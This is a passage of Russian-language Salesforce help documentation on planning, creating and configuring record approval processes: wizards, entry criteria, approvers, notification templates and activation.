• Определите возможность редактирования записей, ожидающих утверждения.

• Определите необходимость автоматического утверждения или отклонения записей.

• Определите количество уровней, доступных в процессе.

• Определите действия, выполняемые при утверждении или отклонении запросов.

Какойшаблон эл. почты необходимо использовать для запросов на утверждение?
Шаблонэл. почты, выбранныйдляпроцесса утверждения, используетсядля уведомленияпользователейоназначении
запроса на утверждение. Пользователи могут использовать стандартныйшаблон эл. почты, предлагаемый системой
Salesforce, или создать собственныйшаблон. При необходимости добавьте соответствующие поля слияния для
процессов утверждения, позволяющие переходить к запросу на утверждение.

Если организация использует функцию электронного утверждения, то стандартныйшаблон эл. почты содержит
рекомендации по отправке ответов путем ввода слова «утвердить», «утверждено», «да», «отклонить», «отклонено» или
«нет» в первой строке сообщения и комментариями во второй строке.

Какойшаблон сообщения Chatter необходимо использовать для запросов на утверждение?
Если организация использует функцию «Утверждения в Chatter», выберите шаблон сообщения, который должен
использоваться для уведомления пользователей о назначении запросов посредством Chatter. Пользователи могут
использовать стандартныйшаблон сообщения, предлагаемыйсистемой Salesforce, или создать собственныйшаблон.

Кто должен быть отправителем запросов на утверждение?
Уведомления о запросе на утверждение автоматически отправляются от имени пользователя, отправившего запись
на утверждение. При настройке электронного предупреждения данным уведомлениям может быть задан другой
обратныйадрес эл. почты. Принеобходимостивыберите адрес эл. почтыпользователябизнес-правилпоумолчанию
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(при его наличии) или предварительно настроенный и проверенный единый адрес. Определите адрес эл. почты,
который должен использоваться.

Кто может утверждать запросы?
Ниже перечислены пользователи, которые могут утверждать или отклонять запросы.

• Пользователь или очередь, выбранная отправителем запроса на утверждение.

• Очередь, выбранная администратором.

• Пользователь, указанный в стандартном поле «Менеджер» на странице сведений об отправителе.

• Пользователь, указанный в настраиваемом поле иерархии на странице сведений об отправителе.

• Любая комбинация пользователей и связанных пользователей (пользователи, указанные в стандартном или
настраиваемом поле отправленной записи), заданная администратором.

Каждый этап процесса утверждения может назначать запросы на утверждение посредством любых пользователей
выше.

Должны ли запросы на утверждение делегироваться другому пользователю для утверждения?
Запрос на утверждение может быть утвержден выбранным представителем ответственного за утверждение. Однако
данная возможность может быть отключена. Определите необходимость предоставления делегированным
пользователям права на утверждение запросов. Затем заполните поле «Делегированный ответственный за
утверждение» на странице сведений о каждом пользователе.

Какие записи должны быть добавлены в данный процесс?
Определите атрибуты, которые должны быть назначены записи для ее добавления в процесс утверждения. При
необходимостисоздайтенастраиваемыеполядляхраненияииспользованияданнойинформациивкачествекритериев
фильтрации. Например, чтобы использовать только записи о расходах, принадлежащие головному офису, создайте
настраиваемое поле раскрывающегося списка «Расположение офиса», содержащее два значения: «Головной офис»
и «Филиалы». Задайте критерийфильтрации, согласно которомупроцесс утверждения долженбыть доступен только
тем записям, поле «Расположение офиса» которых содержит значение «Головной офис».

Что происходит при первой отправке записи на утверждение?
Запись, отправленнаяпользователемнаутверждение, автоматическиблокируетсясистемойSalesforceинеможетбыть
изменена другими пользователями. При необходимости участники кампании могут быть добавлены в кампании,
заблокированные для утверждения.

Определите необходимость выполнения других действий бизнес-правил (например, электронные предупреждения,
задачи, обновления полей и исходящие сообщения) при первой отправке записи. Данные действия используются в
качестве действий исходной отправки.

Могут ли пользователи утверждать запросы посредством мобильных устройств?
Определите необходимость регистрации в системе Salesforce для утверждения запросов. Кроме того, процессы
утверждения поддерживают удаленное утверждение запросов посредством мобильного обозревателя.

Кто может редактировать записи, ожидающие утверждения?
Записи, отправленные на утверждение, автоматически блокируются. Разблокировка и редактирование записей
доступны только пользователям с полномочием «Изменить все» для данного объекта или полномочием «Изменение
всех данных». При необходимости редактирование записи может быть также разрешено текущему назначенному
ответственному за утверждение. При необходимости участники кампании могут быть добавлены в кампании,
заблокированные для утверждения.
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Должны ли записи автоматически утверждаться, отклоняться или пропускаться на основе определенных
критериев?

Система Salesforceможет автоматически утверждать, отклонятьилипропускать процесс, если записьне соответствует
критериям входа, заданным для каждого этапа процесса утверждения. Например, все расходы, поле «Стоимость»
которых содержит значение менее 15 рублей, могут утверждаться автоматически.

Сколько людей должно утверждать данные запросы?
Процесс утверждения может включать несколько уровней. Определите количество пользователей, утверждающих
запросы, и порядок их утверждения.

Должны ли выполняться какие-либо действия при утверждении или отклонении запроса?
При необходимости настройте не более 40 дополнительных действий, которые должны выполняться при отзыве,
утверждении или отклонении запроса на каждом этапе (не более 10 действий каждого типа).

ОписаниеТип

Назначение задачи выбранному пользователю. При необходимости заполните
следующие поля задачи: «Тема», «Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранного шаблона эл. почты для отправки сообщения эл. почты
выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости укажите значение или
создайте формулу для нового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При необходимости укажите имя
пользователя и дату, которые должны быть добавлены в сообщение.

Исходящее сообщение

Кроме того, пользователимогутнастроитьнеболее 40 дополнительныхдействий, которыедолжнывыполнятьсяпри
полном утверждении или отклонении записи.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Утверждения

Образец процесса утверждения

Включение электронного утверждения
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Используйте Мастер прав, чтобы помочь создать процесс утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания процессов
утверждения:
• «Настройка

приложения»

Процессы утверждения требуют планирования и подготовки. Прежде чем создать
процесс утверждения, выберите нужный мастер.

Мастер запуска
В случае с простыми процессами утверждения, в которых используется одиншаг,
воспользуйтесьмастеромбыстрого запуска. Онавтоматически выбираетпараметры
по умолчанию для вас.

Стандартный мастер
Для сложныхпроцессов утверждения, когданеобходимонастроитьшаги впроцессе
утверждения, используйтестандартныймастер. Онпозволяетвамопределитьпроцесс,
а также каждый этап в процессе.

СМ. ТАКЖЕ:

Утверждения

Начало работы с утверждениями

Создание процесса утверждения при помощи мастера быстрого запуска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания процессов
утверждения:
• «Настройка

приложения»

Мастер запускапроцесса утвержденияпозволяетбыстросоздаватьпростыеодноэтапные
процессы утверждения. Процесс создания автоматизируется путем автоматического
выбора некоторых стандартных параметров.

Прим.: Прежде чем создавать процессы, рекомендуем выполнить некоторые
действия.

1. Чтобы автоматизировать маршрутизацию утверждения, воспользуйтесь
стандартнымполемменеджераилисоздайтенастраиваемоеполеиерархиидля
объекта пользователя.

2. Создание шаблонов эл. почты необходимо для выполнения следующих
действий:

• Сообщите утверждающимо том, что имнеобходимолибо утвердить, либо
отклонитьзапись. Чтобыразрешитьответственномупереходитьнастраницу
запроса утвержденияпрямоиз сообщения эл. почты, добавьтеполя слияния
утверждения. Есливключенафункцияэлектронногоутверждения, убедитесь,
что используемыйшаблон эл. почты описывает правильный способ
использования обеих функций электронного утверждения: выбор ссылки
и ответ на сообщение эл. почты.

• Подтвердите владельцу учетной записи, что шаг в процессе утверждения
был либо утвержден, либо отклонен.

3. Создайте автоматизированные действия, которые должны происходить, пока
происходит утверждение записи.
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Создание процесса утверждения при помощи мастера быстрого запуска:

1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск», затем выберите «Процессы
утверждения».

2. Выберите объект для нового процесса утверждения.

3. Нажмите раскрывающуюся кнопку «Создать процесс утверждения» и выберите пункт «Использовать мастер
запуска».

4. Введите имя нового процесса утверждения.

5. Введите уникальное имя, которое должно использоваться для обращения к данному компоненту в API.

Поле «Уникальное имя» может содержать только буквы, цифры и символы подчеркивания. Имя должно быть
уникальным для выбранного типа объекта; должно начинаться с буквы; не может содержать пробелов и двух
последовательных символов подчеркивания, а также не может заканчиваться символом подчеркивания.

6. Выберите настраиваемыйшаблон эл. почты, который должен использоваться для уведомления ответственных о
назначении им запросов на утверждение, или пропустите данное поле для использования стандартногошаблона эл.
почты. Каждый процесс утверждения использует отдельныйшаблон эл. почты для всех этапов.

Прим.:

• Есливключенафункцияэлектронногоутверждения, убедитесь, чтоиспользуемыйшаблонэл. почтыописывает
правильный способ использования обеих функций электронного утверждения: выбор ссылки и ответ на
сообщение эл. почты. Если пользователь отвечает неправильно (например, допускает ошибку в слове
«утвердить» иливводитданное слововдругуюстроку), то система Salesforceнепринимаетответпользователя.

• Поля слияния утверждения (кроме {!ApprovalRequest.Comments}) по имени
{!ApprovalRequest.имя_поля} в шаблонах электронной почты возвращают значения только при
использовании в сообщениях эл. почты о назначении утверждения и электронных предупреждениях для
процессов утверждения. При использовании в других сообщениях эл. почты, включая электронные
предупреждения для бизнес-правил, поля слияния утверждения возвращают значение null.

7. Чтобыдобавить связанныйсписок, позволяющийпользователямотправлятьиотслеживать запросына утверждение,
во все макеты страниц, установите флажок «Добавить связанный список "Журнал утверждений"...».

8. Чтобы добавлять в процесс утверждения только определенные типы записей, выполните одно из указанных ниже
действий.

• Чтобызадатькритерийфильтрации, которомудолжнасоответствоватьзаписьдлявхождениявпроцессутверждения,
выберите значение «критерии выполняются». Например, еслиданныйпроцесс утверждениядолженприменяться
только сотрудниками головного офиса для отправки отчетов по расходам, введите следующий критерий
фильтрации: «"Текущий пользователь": "Расположение офиса" равно "Головной офис"».

a. Введите критерийфильтрациидля записей, которые должныбыть добавленыв данныйпроцесс утверждения.
Чтобы добавить все отправленные записи в процесс утверждения, пропустите данныйфильтр.

b. Нажмитекнопку«Далее». Чтобысохранитьизменения, внесенныевтекущийпроцессутверждения, изавершить
редактирование, нажмите кнопку «Сохранить».

• Чтобы задать формулу, которая должна определять записи для вхождения в процесс утверждения, выберите
значение «значение формулы оценивается как истинное».
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a. Введите формулу, возвращающую значение «Истина» или «Ложь». Если формула возвращает значение
«Истина», то запись входит в процесс утверждения. Например, формула ниже позволяет добавлять в процесс
утверждения записи, для которых финальная дата утверждения скидки не превышает 30 дней.

(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Нажмитекнопку«Далее». Чтобысохранитьизменения, внесенныевтекущийпроцессутверждения, изавершить
редактирование, нажмите кнопку «Сохранить».

Формулы процесса утверждения поддерживают только некоторые функции. Дополнительную информацию о
функциях, доступных в формулах процесса утверждения, см. в разделе «Операторы и функцииформулы» на
странице 4632.

9. Выберите назначенных ответственных за утверждение запросов, созданных на данном этапе. Назначенные
ответственные за утверждение — это пользователи или участники очереди, которые несут ответственность за
утверждение записей, входящих на данный этап. Доступные значения:

Позволить отправителю вручную выбрать ответственного за утверждение.
Данный параметр разрешает пользователю вручную выбирать следующего ответственного за утверждение.

Автоматически назначать ответственного за утверждение с помощью стандартного или настраиваемого
поля иерархии.

Данныйпараметр определяет пользователя, которому назначается запрос на утверждение. Например, запросы на
утверждениемогут автоматическинаправлятьсяменеджерупользователя, указанномув стандартномполеиерархии
пользователей «Менеджер». При необходимости запросы на утверждение могут автоматически направляться
пользователю, указанному в поле «Менеджер по работе с клиентами».

Автоматически назначать очереди.
Параметрназначенияочередизапросовна утверждениедоступентолькодляобъектов, поддерживающихочереди.

Автоматически назначать ответственным за утверждение.
Данный параметр назначает запрос на утверждение как минимум одному указанному ниже пользователю.

Пользователь
Любой пользователь в организации.

Очередь
Параметр назначения очереди запросов на утверждение доступен только для объектов, поддерживающих
очереди.

Связанный пользователь
Пользователь, указанныйвлюбомполепоискаотправленнойзаписи (например, поле «Последнее изменение
сделано»).

Чтобы изменить количество ответственных за утверждение, воспользуйтесь параметрами «Добавить строку» и
«Удалить строку». Каждому этапу может быть задано не более 25 ответственных за утверждение.

Прим.: Ниже перечислены рекомендации по выбору ответственных за утверждение.

• Убедитесь, что назначенному ответственному за утверждение предоставлен доступ для чтения записей,
подлежащих утверждению. Например, пользователь, которому не предоставлен доступ для чтения к
настраиваемому объекту «Расходы», не может просматривать запросы на утверждение расходов.

• Функция электронного утверждениянедоступна для тех процессов утверждения, в которых ответственность
за утверждение назначена очереди.
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• Ответственным за утверждение должно быть предоставлено полномочие «API включен», позволяющее
утверждать или отклонять запросы на утверждение посредством эл. почты.

• Запрос на утверждение может быть назначен одному пользователю на одном этапе несколько раз; система
Salesforce распознает подобные повторы и отправляет пользователю только один запрос на утверждение.

• Назначенные ответственные за утверждение на этапе текущей обработки записи не могут быть изменены
дажепривозвратепроцессаутверждениянаданныйэтапиизменениизначенийсвязанныхполейпользователя,
определяющих ответственных за утверждение. Например, процесс утверждения, первый этап которого
требует утверждения менеджером пользователя. При отклонении запроса на утверждение на втором этапе
и его возврате на первый этап первоначальный менеджер пользователя повторно получает запрос на
утверждение даже в случае изменения менеджера.

• Если ответственность за утверждение назначена очереди:

– Любой участник очереди может утвердить или отклонить запрос, назначенный очереди.

– Электронные запросы на утверждение отправляются на адрес эл. почты очереди. Если очередь
поддерживаетотправку сообщенийэл. почтысвоимучастникам, то электронныезапросына утверждение
также отправляются участникам очереди, кроме участников, запретивших принимать сообщения эл.
почты, содержащие запросы на утверждение.

– Если запрос на утверждение назначен очереди, то соответствующее электронное уведомление также
отправляется делегированному ответственному за утверждение для каждого участника очереди.

– Электронные уведомления, отправляемые очереди, не предназначены для внешней аудитории, поэтому
любые экземпляры поля слияния {!ApprovalRequest.External_URL} в шаблоне эл. почты,
отправляются как эквивалентные внутренние URL-адреса.

– Уведомления Salesforce1 для запросов на утверждение не отправляются очередям.Рекомендуем добавить
отдельных пользователей в качестве назначенных ответственных за утверждение для каждого этапа
утверждения, использующегоочередь. Вэтомслучаеполучение уведомленийо запросахна утверждение
вприложенииSalesforce1будетдоступнохотябыданнымпользователям. Чтобыназначитьответственность
за утверждение очередям и отдельным пользователям, установите флажок «Автоматически назначать
ответственным за утверждение» вместофлажка «Автоматически назначать очереди» вэтапеутверждения.

– Еслизапроснаутверждениеотклоненивозвращенпредыдущемуответственномузаутверждение, которым
является очередь, то запрос на утверждение назначается утвердившему пользователю, но не очереди.

– Связанныйсписок «Журналутверждений» отображаетимяочередивстолбце «Назначено», афактического
пользователя, утвердившего или отклонившего запрос, в столбце «Фактический ответственный за
утверждение».

10. При выборе нескольких ответственных за утверждение в параметре «Автоматически назначать ответственным за
утверждение» выберите одно из указанных ниже значений.

Утвердить или отклонить на основеПЕРВОГО ответа.
Утверждение или отклонение записи определяется первым ответом на запрос.

Требовать ЕДИНОГЛАСНОГО утверждения от всех выбранных ответственных за утверждение.
Утверждение записи доступно только при единогласном утверждении запроса всеми ответственными. При
отклонении запроса любым ответственным запрос на утверждение отклоняется.

11. Чтобы открыть страницу сведений о процессе утверждения, нажмите кнопку «Сохранить».

12. Выберите действия утверждения. Дополнительную информацию см. в разделе «Выбор действий утверждения» на
странице 4851.
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13. Активируйте готовый процесс утверждения.

a. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск», затем выберите «Процессы
утверждения».

b. Щелкните «Активировать» напротив нужного неактивного процесса.

СМ. ТАКЖЕ:

Используйте Мастер прав, чтобы помочь создать процесс утверждения

Создание процесса утверждения

Включение электронного утверждения

Выбор значений по умолчанию для мастера быстрого запуска процесса утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Мастер запуска автоматизирует созданиепроцесса утвержденияпутем автоматического
выбора некоторых стандартных параметров.

Послесозданияпроцессаутвержденияприпомощимастерабыстрогозапускавысможете
изменить любые стандартные параметры путем редактирования процесса, а также
добавить дополнительныешаги со страницы сведений о процессе. Единственное
исключение в том, что действие «Блокировка записи» в списке «Действия исходной
отправки» не может быть изменено.

• Чтобы изменить записи, ожидающие утверждения в ходе процесса утверждения,
пользователи должны иметь полномочия «Изменить все» для отдельного объекта
или разрешения «Изменить все данные».

• Макет страницы запросов на утверждение отображает имя (или номер) записи, имя
ответственного, дату создания и журнал утверждений.

• Параметрыбезопасности запрещаютответственнымза утверждениепросматривать страницу утверждениябез входа
в систему Salesforce.

• Только владелец записи может отправить запрос на утверждение.

• Записи, отправленные на утверждение, блокируются.

• Записи остаются заблокированными до их утверждения или отклонения.

• Отклоненные записи подлежат разблокировке.

• Только администраторы могут отозвать запись после того, как она будет подана.

• Действия автоматического утверждения или отклонения не поддерживаются.

• Электронные уведомления не отправляются при утверждении или отклонении записи.

• Значения полей не обновляются автоматически во время процесса утверждения.

• Ответственный за утверждение не может автоматически делегировать другому пользователю полномочия на
утверждение запросов.

• Флажок «Разрешить отправителям отзывать запросы на утверждение» не установлен.

СМ. ТАКЖЕ:

Создание процесса утверждения при помощи мастера быстрого запуска

Используйте Мастер прав, чтобы помочь создать процесс утверждения
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Создание процесса утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания процессов
утверждения:
• «Настройка

приложения»

Процесс утверждения — это автоматический процесс, который может использоваться
организацией для утверждения записей Salesforce. Процесс утверждения определяет
этапы, необходимые для утверждения записи, а также ответственных за утверждение на
каждом этапе. Этап может применяться ко всем записям процесса или только к записям,
соответствующим определенным критериям, заданным администратором. Процесс
утверждения также определяет действия, которые должны быть выполнены при
утверждении, отклонении, отзывеилипервоначальнойотправке записина утверждение.

1. Запустите мастер процесса утверждения.

2. Укажите имя, уникальное имя и описание.

3. Определите критерии вхождения в процесс.

4. Определите поле ответственного за утверждение и редактируемость записи.

5. Выберите шаблон сообщения-уведомления Chatter или сообщения эл. почты.

6. Настройте макет страницы для запросов на утверждение.

7. Выберите исходных отправителей.

8. Активируйте процесс утверждения.

Запуск мастера процесса утверждения
1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск»,

затем выберите «Процессы утверждения».

2. Выберите объект для нового процесса утверждения.

3. Нажмите кнопкуСоздать новый процесс утверждения и выберите один из мастеров. Не уверены, какой мастер
стоит использовать? См. раздел Используйте Мастер прав, чтобы помочь создать процесс утверждения.

Ввод имени, уникального имени и описания
1. Введите имя нового процесса утверждения.

2. Введите уникальноеимя, котороедолжноиспользоватьсядляобращенияк данномупроцессу утвержденияв Force.com
API. Уникальность требуется только для выбранного типа объекта. Одно уникальное имя может быть задано двум
процессам утверждения, при условии использования разных объектов (например, кампании и возможности). Поле
«Уникальное имя» можетсодержатьтолькобуквы, цифрыисимволыподчеркивания. Имядолжнобытьуникальным
для выбранного типа объекта; должно начинаться с буквы; не может содержать пробелов и двух последовательных
символов подчеркивания, а также не может заканчиваться символом подчеркивания.

3. При необходимости введите описание.

4. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

Определение критериев вхождения в процесс
Чтобыдобавлятьвпроцессутверждениятолькоопределенныетипызаписей, выполнитеодноизуказанныхнижедействий.

• Чтобызадатькритерийфильтрации, которомудолжнасоответствовать записьдлявхождениявпроцесс утверждения,
выберите значение «критерии выполняются». Например, если данный процесс утверждения должен применяться
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толькосотрудникамиголовногоофисадляотправкиотчетовпорасходам, введите следующийкритерийфильтрации:
«"Текущий пользователь": "Расположение офиса" равно "Головной офис"».

1. Введите критерий фильтрации для записей, которые должны быть добавлены в данный процесс утверждения.
Чтобы добавить все отправленные записи в процесс утверждения, пропустите данныйфильтр.

2. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

• Чтобызадатьформулу, которая должнаопределять записидля вхождения впроцесс утверждения, выберите значение
«значение формулы оценивается как истинное».

1. Введитеформулу, возвращающуюзначение «Истина» или «Ложь». Еслиформула возвращает значение «Истина»,
то запись входит в процесс утверждения. Например, формула ниже позволяет добавлять в процесс утверждения
записи, для которых финальная дата утверждения скидки не превышает 30 дней.

(Discount_Approval_CutoffDate__c < (CloseDate - 30)

2. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

Формулы процесса утверждения поддерживают только некоторые функции. Дополнительную информацию о
функциях, доступныхвформулахпроцесса утверждения, см. вразделе «Операторыифункцииформулы»на странице
4632.

Определение поля ответственного за утверждение и редактируемости записи
При определении этапов утверждения запросы на утверждение могут быть назначены разным пользователям.
Автоматическаямаршрутизацияданныхзапросовможетвыполнятьсяпосредствомполяпользователя. Полемпользователя
может являтьсялюбоенастраиваемоеполеиерархическойвзаимосвязи (например, «Менеджер по работе с клиентами»)
или стандартное поле пользователя «Менеджер». Некоторые примеры использования поля пользователя в качестве
поля, ответственного за утверждение, см. в разделе «Образцы процессов утверждения» на странице 4860.

Запись, которая уже находится в процессе утверждения, всегда заблокирована; ее редактирование доступно только
администратору. При необходимости редактирование записи может быть разрешено текущему назначенному
ответственному за утверждение. При необходимости участники кампании могут быть добавлены в кампании,
заблокированные для утверждения.

1. Чтобы разрешить системе Salesforce автоматическое назначение запросов ответственному за утверждение на основе
значения, заданноговполепользователя, выберитенужноеполепользователявраскрывающемсясписке «Следующего
автоматического ответственного за утверждение определил». Например, запросынаутверждениемогутавтоматически
направляться менеджеру пользователя, указанному в стандартном поле иерархии пользователей «Менеджер». При
необходимости запросы на утверждение могут автоматически направляться связанному сотруднику, заданному в
настраиваемом поле пользователя «Менеджер по работе с клиентами».

• Чтобы задать пользователя для утверждения всех запросов, пропустите данное поле. Пользователь может быть
выбран ответственным за утверждение при создании этапа утверждения.

• Чтобы разрешить первому выполненному этапу утверждения использование стандартного или настраиваемого
поля иерархии пользователей для записи пользователя, принадлежащей ответственному за запись, — вместо
записи пользователя, принадлежащей отправителю, — в качестве ответственного за утверждение, установите
флажок «Использовать поле ответственного за утверждение (Ответственный за запись)». Все остальные
этапыиспользуютуказанноеполеиерархиипользователейв записипользователя, принадлежащейответственному
за утверждение, выбранному для предыдущего этапа.
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Например, процесс утверждения должен автоматически назначать каждому этапу ответственного за утверждение
посредством стандартного поля иерархии пользователей «Менеджер». Первый выполненный этап утверждения
использует менеджера ответственного за запись в качестве ответственного за утверждение. Все другие этапы
используют в качестве ответственного за утверждение менеджера, выбранного для предыдущего этапа.

Прим.: Убедитесь, что назначенному ответственному за утверждение предоставлен доступ для чтения записей,
подлежащих утверждению. Например, пользователь, которому не предоставлен доступ для чтения к
настраиваемому объекту «Расходы», не может просматривать запросы на утверждение расходов.

2. Чтобы разрешить редактирование отложенных записей только пользователям с полномочием «Изменить все» для
данногообъектаили «Изменениевсехданных», выберитепараметр «ТОЛЬКО администраторы...». Чтобыразрешить
редактирование записей администраторам и назначенным ответственным за утверждение, выберите параметр
«Администраторы ИЛИ...». Крометого, назначенномуответственномуза утверждениедолженбытьпредоставлен
доступ для редактирования записи в полномочиях и единых стандартных параметрах общего доступа для данного
объекта. Запись, отправленная на утверждение, автоматически блокируется во избежание редактирования другими
пользователями во время процесса утверждения.

3. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

Выбор шаблона эл. почты или сообщения-уведомления Chatter

Еслипроцессутвержденияназначаетпользователюзапроснаутверждение, тосистемаSalesforce автоматическиотправляет
пользователю электронный запрос на утверждение. Сообщение эл. почты содержит ссылку на страницу утверждения в
системеSalesforce, позволяющуюутвердитьилиотклонить запросидобавитькомментарии.Еслифункцияэлектронного
утверждения включена, то пользовательможет ответить на сообщение эл. почты словом «утвердить», «утверждено», «да»,
«отклонить», «отклонено» или «нет» впервойстроке сообщенияикомментариямивовторойстроке. Данная возможность
особенно полезна пользователям, принимающим запросы на утверждение посредством мобильного устройства.

Прим.: Ответственным за утверждение должно быть предоставлено полномочие «API включен», позволяющее
утверждать или отклонять запросы на утверждение посредством эл. почты.

Есливорганизациивключенафункция «Утвержденияв Chatter», то уведомлениеможетбытьотправленоответственному
за утверждение посредством сети Chatter.

Прим.: Сообщения-уведомления Chatter об утверждении доступны только для процессов утверждения, связанных
с объектом, который поддерживает функцию отслеживания лент.

Сотрудники, назначенныеответственнымизаутверждениеивключившиефункциюотображениязапросовнаутверждение
в виде сообщений Chatter, получают не только соответствующее сообщение эл. почты, но и обновление в ленте Chatter.

1. Выберите настраиваемыйшаблон эл. почты, который должен использоваться для уведомления ответственных о
назначении им запросов на утверждение, или пропустите данное поле для использования стандартногошаблона эл.
почты. Каждый процесс утверждения использует отдельныйшаблон эл. почты для всех этапов.

Прим.:

• Есливключенафункцияэлектронногоутверждения, убедитесь, чтоиспользуемыйшаблонэл. почтыописывает
правильный способ использования обеих функций электронного утверждения: выбор ссылки и ответ на
сообщение эл. почты. Если пользователь отвечает неправильно (например, допускает ошибку в слове
«утвердить» иливводитданное слововдругуюстроку), то система Salesforceнепринимаетответпользователя.

• Except for {!ApprovalRequest.Comments}, approval merge fields named
{!ApprovalRequest.field_name}  in email templates return values only in approval assignment emails and
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email alerts for approval processes. При использовании в других сообщениях эл. почты, включая электронные
предупреждения для бизнес-правил, поля слияния утверждения возвращают значение null.

2. При наличии возможности выберите шаблон сообщения об утверждении, который должен использоваться для
уведомленияответственныхза утверждениепосредствомпубликациисообщенийвлентуChatter. Впротивномслучае
сообщение об утверждении для объекта использует стандартный системный или настраиваемыйшаблон.

Прим.: Сообщения, содержащие запросы на утверждение, доступны только пользователям, имеющим доступ
к записи утверждения. Комментарии к сообщениям об утверждении не сохраняются в запись утверждения.

3. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

Настройте макет страницы для запросов на утверждение.
Страница утверждения — это страница, позволяющая ответственному за утверждение утвердить или отклонить запрос.

1. Выберите поля, которые должны отображаться на странице запроса, и нажмите кнопку «Добавить».

При включении уведомлений в приложении Salesforce1 помните, что ответственные за утверждение могут
просматривать данный списокполейнамобильном устройстве. Выберите толькополя, необходимыепользователям
для принятия решения по утверждению или отклонению записей.

2. Чтобы отсортировать поля, выберите нужное поле и нажмите кнопку «Вверх» или «Вниз».

3. Чтобы добавить связанный список «Журнал утверждений», содержащий поля «Дата», «Назначено», «Фактический
ответственный за утверждение» и «Комментарии», установите флажок «Отображать сведения журнала
утверждений...».

4. Чтобыдобавить связанныйсписок, позволяющийпользователямотправлятьиотслеживать запросына утверждение,
во все макеты страниц, установите флажок «Добавить связанный список "Журнал утверждений"...».

5. Выберите параметр безопасности:

• Разрешить ответственным за утверждение доступ к странице утверждения только из приложения

Пользователи могут просматривать страницу утверждения только после входа в систему Salesforce.

• Разрешить ответственным за утверждение доступ к странице утверждения только из приложения или
внешний доступ посредством беспроводного мобильного устройства

Пользователимогутпросматривать внешнююстраницуутвержденияпосредствомлюбогообозревателя, включая
обозреватели на мобильных устройствах, без входа в систему Salesforce. При выборе данного параметра система
запрещает добавлять этапы утверждения, позволяющие пользователям вручную выбирать следующего
ответственного за утверждение.

6. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

Выбор исходных отправителей
Выберите пользователей, которые могут отправлять запросы на утверждение. Например, чтобы разрешить отправку
отчетов по расходам только ответственным за записи, выберите значение «Ответственный».

1. Заполните поле «Тип отправителя», введите критерий поиска и нажмите кнопку «Найти».
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2. Выберите нужных пользователей из списка доступных отправителей и нажмите кнопку «Добавить».

3. Чтобы разрешить отправителям отзывать запросы на утверждение, установитефлажок «Разрешить отправителям
отзывать запросы на утверждение». При установке флажка «Разрешить отправителям отзывать запросы на
утверждение»отправителямиадминистраторамдоступнакнопка«Отозватьзапроснаутверждение»в связанном
списке «Журнал утверждений» на странице сведений об отправленных записях. В противном случае данная кнопка
доступна только администраторам.При нажатии кнопки «Отозвать запрос на утверждение» отложенный запрос
на утверждение записи отменяется и выполняются действия отзыва. Дополнительную информацию см. в разделе
«Действия отзыва» на странице 4855.

Данная возможность полезна при наличии изменений, внесенных отправителем в отложенную запись. Например,
возможность, отправленная пользователем на утверждение, может быть потеряна.

4. Сохраните внесенные изменения.

Активация процесса утверждения
После создания хотя бы одного этапа процесса утверждения активируйте процесс. See Create an Approval Stepна странице
4845.

1. Нажмите кнопку «Далее». Чтобы сохранить изменения, внесенные в текущий процесс утверждения, и завершить
редактирование, нажмите кнопку «Сохранить».

2. Активация процесса утверждения.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Рекомендации для процессов утверждения

Создание этапа утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать этапы
утверждения, выполните
указанные ниже действия.
• «Настройка

приложения»

Этапы утверждения назначают различным пользователям запросы на утверждение и
определяютпоследовательностьвыполненияотдельныхпроцессовутверждения. Каждый
этап утверждения определяет атрибуты, которые должны быть назначены записи для
вхождения на данный этап, пользователя, ответственного за утверждение запросов, и
возможность утверждения запросов представителем ответственного за утверждение.
Первый этап утверждения определяет действие, которое должно быть выполнено, если
запись не входит на данный этап. Последующие этапыпроцесса позволяютопределять
действия, выполняемые при отклонении запроса.

1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск»,
затем выберите «Процессы утверждения», после чего выберите имя процесса
утверждения.

2. Щелкните «Создатьэтапутверждения» в связанном списке «Этапы утверждения».
Недоступность данной кнопки указывает на активность процесса утверждения и
невозможностьдобавленияновыхэтапов. Каждыйпроцессможетсодержатьнеболее
30 этапов.

3. Введите имя, уникальное имя и описание для данного этапа.
